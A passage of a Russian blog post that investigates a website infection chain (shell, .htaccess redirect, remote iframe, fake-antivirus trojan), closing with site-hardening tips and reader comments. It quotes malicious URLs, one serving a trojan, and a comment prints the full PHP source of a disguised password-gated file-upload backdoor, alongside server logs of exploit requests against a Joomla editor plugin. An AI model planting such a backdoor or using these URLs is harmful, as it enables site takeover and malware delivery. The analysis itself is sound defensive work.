$resp = file_get_contents(ADMIN_REDIR_URL,false,$_14);
echo $resp;

И получил в ответ лаконичное: BAD.
И тут мне пришло в голову с адресе сайта использовать не любой из своего списка, а именно тот, который сейчас находится в коде файла 7.txt. Ответ был иным:
Скрытый текст
Внимание!!!
Переходя по ссылке, представленной ниже, Вы рискуете заразить свой компьютер трояном!

хттп://blog2.companyscoming.co:3811/books/site-map.php?radio=888&themes=883&login=82&advocacy=833&browser=79

Параметры после знака "?" генерируются рандомно и не имеют значения.
Так как я пользуюсь браузером Google Chrome, при переходе на данную страницу я увидел 502 ошибку. Но стоило запустить браузер Opera, как мне тут же предложили выполнить некое Java-приложение, которое Антивирус Касперского определил как Trojan/Win32.badur.a. Этот зловред закрывает все открытые программы (а те, что Вы попытаетесь открыть — сразу закроет) и запускает себя — некий сканер компьютера на вирусы, который тут же находит на Вашем компьютере букет всякой заразы и настойчиво предлагает активировать его за 60$ на год (90$ за 3 года!). Убивается сея зараза удалением файла tdefender.exe (defender.exe) в директории %AppData%RandomName% (в моём случае — AppData\Roaming) и стиранием ключа в реестре, в ветках, ответственных за автозапуск (Run).

На этот моё расследование подошло к концу.

Итог.

Схема такова:
  • Находится сайт с уязвимостью, на который загружается шелл.
  • С помощью шелла загружается подставная страница и в файл .htaccess добавляется перенаправление на эту страницу. Перенаправление работает только для тех, кто приходит на сайт с какого-либо другого сайта (поисковик, каталог и т.д.), указанно в списке, в файле .htaccess.
  • Пользователь попадает на подставную страницу, скрипт пытается обратиться по адресу wordpresstest.info/7.txt любым доступным способом (file_get_contents/fsockopen/curl) и получить его содержимое — html-код прозрачного фрейма, который открывает очередной вредоносный скрипт на очередном взломанной сайте (например, betterlife-downloads.com/wsfhxjo.php).
  • Этот скрипт проверяет наличие юзер-агента, ОС, браузер и отправляет запрос с параметром на очередной вредоносный скрипт (test.customsexcams.com/rb/get_url.php). В параметре должен находиться адрес взломанного сайта (второго по счёту в моём описании). Если адрес сменился — скрипт не отработает.
  • Но если все условия выполнены — скрипт вернётся ссылку на очередной сервер, с которого происходит скачивание Trojan/Win32.badur.a, который не даёт работать и настойчиво просит денег.


Послесловие.

От взлома сайта никто не застрахован, поэтому не стоит забывать о простых мерах предосторожности:
  • Не используйте для доступа к административной части сайта/панели управления хостингом/доступа по FTP и SSH простые пароли.
  • Не храните пароли для доступа по FTP в FTP-клиенте.
  • Обновляйте используемые CMS/плагины/модули до актуальных версий.
  • Поглядывайте в .htaccess на наличие в нём того, чего Вы не добавляли.
  • Поглядывайте на структуру сайта — файлы со странными именами всегда заметны.
  • Не стоит пренебрегать ведением логов доступа к сайту — они могут помочь в выявлении уязвимостей, использованных злоумышленниками.
  • Яндекс.Вебмастер может достаточно быстро обнаружить на Вашем сайте вредоносные скрипты.
  • Поглядывайте на дату последнего редактирования файлов. Если Вы уверены, что в тот день ничего не меняли — стоит задуматься и принять меры.
Гурин Дмитрий @M03G
карма
31,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (55)

  • +24
    Пф, кто же использует $_GLOBAL?
    Помню мне предложили промышлять похожими делами (писать скрипты на PHP, которыми заражаются WP сайты), предложили хорошую з/п (по тем временам) в 2к зелени, сказали зарегать специальный ящик на gmail, а туда бы скинули ТЗ. Отказался я, не люблю GLOBAL использовать.
    • +3
      Похоже, использовался вот этот обфускатор.
      Т.е. взломщики воспользовались уже готовым чужим трудом
    • 0
      Ну а какая разница, это всего лишь способ обфускации, можно ведь и без него обойтись.
      • +1
        Мой коммент был в ответ на текст из коммента выше:
        кто же использует $_GLOBAL


        Я сообщил, что это использует создатель того самого обфускатора. Вот и вся суть моего коммента выше.
        • +4
          Дык яж не вам писал =)
    • +3
      И где вы нашли в Wordpress использование $_GLOBALS? Просто интересно.
      Нет, я не говорю, что Wordpress хорош, но табуретки зачем же ломать?
  • +3
    Я бы добавил запрет на изменение данных .htaccess для пользователя, от которого работает веб сервер.
    Ведение логов доступа к серверу на отдельном сервере, с алярмой в мониторинге, если доступ осуществлялся не с разрешенного диапазона адресов.
    Сменить дату редактирования файла не умеет только ленивый, лучше хранить хеш всех файлов движка отдельно (кроме темпов, аплоада и прочих мусорных директорий) и периодически сравнивать его скриптом, для ленивых diff на директорию за вчера и за сегодня раз в сутки.
    Для режима полная параноя еще много советов, тут было несколько статей на эту тему.
    • 0
      hg или git показали бы любые изменения кода.
      • +1
        Конечно, если таковые есть, но частая ситуация когда проект притянут архивом и развернут на сервере без систем контроля версий. Вариантов много, для каждого проекта подбирается индивидуально, поработав в одном известном хостинге иногда приходилось заглядывать «под капот» достаточно крупным проектам, там настолько все плохо, что страшно представить что творится в небольших домашних. В аудит безопасности сегодня мало кто готов вкладывать средства, так что если отойти от паранои и привлечения экспертов для аудита «Неуловимого Джо» остается ряд достаточно простых правил, спасающих от скрипткиди:
        1) Движок веб-сервера имеет право на запись только в те файлы и директории, которые ему нужно изменять во время работы, для апдейтов и прочего права даются временно и отбираются после установки, яркий пример .htaccess. Сотни раз видел права 777 на всю директорию рекурсивно или же 755 при владельце совпадающем с юзером, от которого работает веб сервер, подчеркиваю на всю папку рекурсивно, включая .htaccess .htpasswd conf и т.п. У топикстартера именно такая ситуация, иначе как .htaccess мог быть изменен.
        2) Юзер от которого работает веб сервер не должен иметь шела, при проникновении этот момент можно обойти, но лишний геморрой для ломающего обеспечен.
        3) Отдельная база с отдельным пользователем для каждого проекта.
        4) Обязательный аудит изменений как файлов (система контроля версий или другой способ) так и базы данных в ключевых местах.
        Это самый минимум, доступный каждому, не говоря уже о песочницах с минимумом доступных средств для выполнения и прочими вещами, которые знают почти все, но забивают на них из за разового удобства.
  • +5
    Да уж. После такой конспирационной цепочки, ожидал пачку эксплойтов, а не беспомощный винлокер, который ещё надо скачать =/
    • +1
      Если учитывать, что они использовали чужой обфускатор, а не сами всё обфусцировали — сложность всего этого хака сильно снижается. Потому и концовка такая — никаких эксплоитов. Так что всё вполне предсказуемо
  • +6
    Дима, три дня — это много ;)
    • +7
      Пол дня ожидания — сбор списка заражённых сайтов. Полтора дня — ожидание положительного решения разработчика одного из заражённых сайтов по отправке мне скрипта ;)
  • +5
    >> в директории %AppData%RandomName% (в моём случае — AppData\Roaming

    Не… Ну Roaming — это очень странный рандом :)
    Вообще-то это дефалтовый каталог для хранения всякой фигни.
    • +2
      Дефолтовый каталог для хранения всякой фигни — это «Новая папка» (иногда встречаются вариации вида «Новая папка (1)», «Новая папка (2)»).
  • 0
    может стоит выложить доменны зараженных сайтов (с полными путями или без)? некоторые разработчики следят за появлением в сети своих доменов, и моугт узнать что они заражены.
    • +3
      Не знаю, не уверен. Некоторым не особо понравится, что их сайт будет в списке заражённых и это могут увидеть потенциальные посетители/клиенты и т.д.

      Кстати, один из заражённых сайтов — сайт института информационной безопасности. Какая ирония…
  • +1
    Месяц назад вычищал штук 30 копий этого самого вируса с сайтов размещенных на целом выделенном сервере. Правда тратить 3 дня не стал :)
    Найти б еще дыру в каком-то из вордпресс сайтов…
    • 0
      А как же Вы чистили аж 30 сайтов и так и не нашли уязвимости? Нужно было срочно решить задачу или логов веб-сервера не было?
      • 0
        У меня аналогичная проблема — логи не велись, а хостер хрнит только за последние 7 дней.
    • 0
      Аналогичная ситуация — все сайты на хостинге (и даже парочку мануалов в html внутри системных папок задело — оно что-то вроде поиска по index.* запускало), а в error_log'е (access не велся, а зря) светились wp_conf и иже с ними (у нас нет WP-сайтов), и прощупывание разных Joomla. Кстати, один из зловредов умудрился замаскироваться под этот самый wp_conf. И все тот же самый wordpresstest.info в расшифрованных файлах. Походу, они просто массовый сканер по вордпрессам и джумлам запустили (-_-)

      Тащем-то, у меня сохранился файлик, который лично нам эти index_backup.php наваял (назывался delete_me.php), но он остался на рабочем компьютере — если интересно будет поковыряться, в понедельник найду и скину.
      • +2
        Ботнет по WP гуляет уже давно, сейчас Joomla активизировалась снова… так что куча одинаковых взломов — это вполне нормально.
        Другое дело, что каждый взлом требует плотного изучения не столько вредоносного кода, сколько места, откуда это туда попало. Иначе толку вычищать.

        А от роботов защититься просто, поставьте mod_auth на админку — большая часть ботнетов обойдет стороной.
      • 0
        Как раз шелл назывался wp_conf.php. На сайте с Джумлой…
        • +3
          Не палятся %)))
      • 0
        Как и обещал, файл _delete_me.php, найденный почему-то в домашней папке админа (наводит на печальные мысли либо о угрозе изнутри, либо о тотальном «вас поимели»). pastie.org/private/k23k1dpzod4rqhp6xl3nna
        • +1
          Нашёл в логах:
          Скрытый текст
          85.17.58.128 — - — [22/Jun/2013:04:08:01 +0400] «POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&2bf1fbcb16228c240ab28f76f1969848=e3299444dbb2666f1bd59bc299ca07ae HTTP/1.1» 302 207 "/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=156" «Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1» 17398 0
          85.17.58.128 — - — [22/Jun/2013:04:08:07 +0400] «GET /tmp/0lndex.gif HTTP/1.1» 404 212 "-" "-" 17398 0
          85.17.58.128 — - — [22/Jun/2013:04:08:07 +0400] «POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1» 200 36 "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5" "-" 17441 1
          85.17.58.128 — - — [22/Jun/2013:04:08:12 +0400] «POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1» 200 36 "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5" "-" 17591 0
          85.17.58.128 — - — [22/Jun/2013:04:08:15 +0400] «GET /tmp/templates.php HTTP/1.1» 404 1844 "-" "-" 17668 0
          69.16.244.79 — - — [22/Jun/2013:04:26:11 +0400] «POST /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/g095my.php HTTP/1.1» 200 24185 "-" «Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Chrome/0.4 Safari/525.1 (compatible; MSIE 7.0; Windows NT 5.1)» 3717 0
          50.87.9.175 — - — [22/Jun/2013:04:26:16 +0400] «POST /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/g095my.php HTTP/1.1» 200 9726 "-" «Mozilla/5.0 (compatible; Konqueror/4.1 Linux) SUSE» 3717 0
          50.87.9.175 — - — [22/Jun/2013:04:26:20 +0400] «POST /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/g095my.php HTTP/1.1» 200 39685 "-" «Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) Firefox/1.5 (compatible; MSIE 8.0; Windows NT 5.1)» 3717 0
          41.76.209.52 — - — [22/Jun/2013:04:26:24 +0400] «GET /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/_delete_me.php HTTP/1.1» 200 5574 "-" «Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) Firefox/1.5 (compatible; MSIE 8.0; Windows NT 5.1)» 3717 1

          После этого файлик удалился, видимо. Ибо по пути его не оказалось…
  • 0
    Это случайно не вы писали тут: maultalk.com/ipb.html?s=&showtopic=116023&view=findpost&p=1383254? Очень уж похожий код вируса…
    • 0
      Нет, не я.
      • 0
        Ага, значит у многих такая проблема проявлялась.
  • +1
    Не храните пароли для доступа по FTP в FTP-клиенте.


    Это реальная угроза или «дежурное» правило? Всё же, удобство сильно страдает…
    • 0
      зависит от фтп клиента. есть вирусы, специально заточеные под ту же файлзиллу и главная цель которых получить ваши пароли. просто нужно пользоваться теми фтп клиентами которые шифруют сохраняемый пароль.
      • 0
        Спасибо за ответ!
        Какой клиент можете посоветовать?
        • 0
          под винду рекомендую WinSCP
      • 0
        Кстати, о паранойе: в тоталкомандере, даже если не сохранять пароль от фтп, то при разрыве связи предлагает переподсоединиться, и не запрашивает логин-пароль, сталобыть держит их в памяти.
        Существуют ли вирусы, которые перехватывают пароль из этой ситуации?
        • 0
          Не могу сказать, вероятно здесь пароли просто находятся в памяти. Чтобы их перехватить нужно знать в какую часть адресного пространства обращаться. Если судить глобальнее, то такая же проблема и у других фтп менеджеров, однако не припомню таких вирусов. Так что вряд ли такой вирус существует.
        • 0
          Мне кажется вы сейчас подкинули отличную идею для вирусописателей =)
          • 0
            Снимать дампы выделенной процессу памяти проще простого (хотя HIPS у защитного ПО по идее должно это пресекать), но вот автоматизировать их эффективную обработку — трудновыполнимая задача. Поэтому малварописатели предпочитают работать по старинке, благо набор наиболее часто используемых приложений ограничен.
  • +1
    Автор, все таки, как попал зловред в htaccess? кто принес? фтп менеджер? какой?
    • 0
      Как я сказал выше в комментах — выяснить не удалось. Логи не велись, а хостер мог предоставить только за последние 7 дней — на тот момент зараза уже была.
      Какая-то дыра Джумлы, вероятно…
      • 0
        В самой Joomla дыр практически не находят, но их полно в сторонних расширениях (прежде всего XSS и SQL инъекций). Но, вообще говоря, в большинстве случаев подобные «заражения» происходит просто путём кражи аккаунта к хостингу.
    • +1
      Не могу говорить за все случаи, но в моем было так:

      Через уязвимость в редакторе выложили в images зараженный файл под видом gif и туда же запихали зараженный htaccess

      В итоге gif стал исполняемым файлом, а дальше уже дело техники
  • 0
    я положил в корень файл .ftpaccess

    <Limit ALL>
    Allow from мой IP
    Deny from all
    </Limit>

    этого недостаточно?
    • 0
      зависит от фтп-сервера. Многие фтп-серверы просто не воспримут этот файл как настройки
  • +3
    Забавно, прошу прощения за оффтопик, просто у меня антивирус на домашнем шлюзе параноик
    Паранойа ClamAV
    Межсетевой экран: xxx
    Пользователь: xxx
    Хост (IP): xx (XXXX)
    Файл: habrahabr.ru/post/184150/
    Протокол: HTTP
    Информация о вирусе: External AV verdict: Exploit.HTML.IFrame-6
    Инфицированный файл был запрещен Kerio Control.

    :)
  • 0
    Похожая ситуация описана в посте История безответственности и одной уязвимости. Только там акцент был на проблемы Opera, исполнения ею Java и на безответственность работников сайта крупной региональной сети. Здесь, что хорошо, даны рекомендации обороны с другой стороны.
    • 0
      А ведь когда-то в Opera можно было запрещать использование Java для конкретных сайтов, при том это была вполне стандартная фича, не требующая расширений. Деградирует всё больше и больше…
  • 0
    Разломались.
    Вот тут: 0x0a.net/redir.txt — полный список зараженных этим .htaccess-ом урлов.
    • 0
      Эх, совсем сломались :)
  • +1
    Сегодня опять обнаружил данного зловреда. Теперь логи есть. Копаюсь.
    Упомянутый выше delete_me тоже был замечен в логах…
    • 0
      Напишите, если что-то прояснится. Очень интересно как зловред пролазит…
      • +1
        Всё оказалось банально и глупо :( Когда-то совсем давно (в архиве полугодовой давности уже есть) был добавлен файл с кодом:
        Скрытый текст
        <?php
        if(!empty($_FILES['message']['name']) && (md5($_POST['name']) == '2970d43d7bf4115cdc60e2453bf48b52'))
        {
                $security_code = (empty($_POST['security_code'])) ? '.' : $_POST['security_code'];
                $security_code = rtrim($security_code, "/");
                @move_uploaded_file($_FILES['message']['tmp_name'], $security_code."/".$_FILES['message']['name']) ? print "<b>Message sent!</b><br/>" : print "<b>Error!</b><br/>";
        }
        print '<html>
            <head>
            <title>Search form</title>
            </head>
            <body>
            <form enctype="multipart/form-data" action="" method="POST">
            Message: <br/><input name="message" type="file" />
            <br/>Security Code: <br/><input name="security_code" value=""/>
                <br/>Name: <br/><input name="name" value=""/><br/>
            <input type="submit" value="Sent" />
            </form>
            </body>
            </html>';//72612438
        
        

        Через него загружался шелл, ну и дальше…
        Не знаю, как файл не был замечен ранее.
        • 0
          А как глубоко файл был спрятан? Имя было логичное или 111222333.*?
          • +1
            /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/langs.php
      • +1
        Немного оффтопа — удивил способ вычисления используемой CMS:
        Скрытый текст
        [14/Jun/2013:04:07:39 +0400] «GET / HTTP/1.1» 200 20471 "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 21
        [14/Jun/2013:04:08:01 +0400] «HEAD /bitrix/admin/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 3
        [14/Jun/2013:04:08:05 +0400] «HEAD /bitrix/themes/.default/images/auth_pict.gif HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:07 +0400] «HEAD /bitrix/js/main/core/core.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:08 +0400] «HEAD /bitrix/themes/.default/adminstyles.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:09 +0400] «HEAD /user/login/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 3
        [14/Jun/2013:04:08:13 +0400] «HEAD /node/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:15 +0400] «HEAD /user/password/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:16 +0400] «HEAD /modules/system/system.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:18 +0400] «HEAD /modules/system/system.base.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:19 +0400] «HEAD /media/system/js/mootools.js HTTP/1.1» 200 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:20 +0400] «HEAD /templates/system/css/system.css HTTP/1.1» 200 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:21 +0400] «HEAD /manager/media/style/MODxCarbon/images/misc/logo.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:22 +0400] «HEAD /manager/media/style/MODxCarbon/images/misc/login-logo.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:24 +0400] «HEAD /manager/media/script/mootools/mootools.js HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:25 +0400] «HEAD /manager/media/style/MODxCarbon/style.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:26 +0400] «HEAD /manager/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 21
        [14/Jun/2013:04:08:48 +0400] «HEAD /manager/templates/default/images/style/modx-logo-header.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:49 +0400] «HEAD /manager/templates/default/images/restyle/headers.jpg HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:50 +0400] «HEAD /manager/templates/default/css/login-min.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:08:51 +0400] «HEAD /netcat/admin/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 8
        [14/Jun/2013:04:09:01 +0400] «HEAD /netcat/admin/skins/default/img/logo.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:09:02 +0400] «HEAD /netcat/admin/skins/default/css/style.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:09:03 +0400] «HEAD /netcat/admin/skins/default/css/login.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:09:04 +0400] «HEAD /users/forget/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 4
        [14/Jun/2013:04:09:09 +0400] «HEAD /images/cms/admin/mac/common/butterfly.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:09:10 +0400] «HEAD /users/registrate/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 4
        [14/Jun/2013:04:09:16 +0400] «HEAD /admin/content/sitetree/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 3
        [14/Jun/2013:04:09:20 +0400] «HEAD /styles/skins/mac/design/css/style.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:09:21 +0400] «HEAD /wp-admin/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 1
        [14/Jun/2013:04:09:23 +0400] «HEAD /wp-content/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 1
        [14/Jun/2013:04:09:26 +0400] «HEAD /wp-admin/images/wordpress-logo.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
        [14/Jun/2013:04:09:27 +0400] «HEAD /wp-login.php HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 2
        [14/Jun/2013:04:09:31 +0400] «HEAD /wp-admin/css/wp-admin.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
  • 0
    Дополню совет — раз в неделю запускать
    clamscan -ir .

    из папки с сайтами.
    Clamav как антивирус нужен под системами Linux именно для таких случаев.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.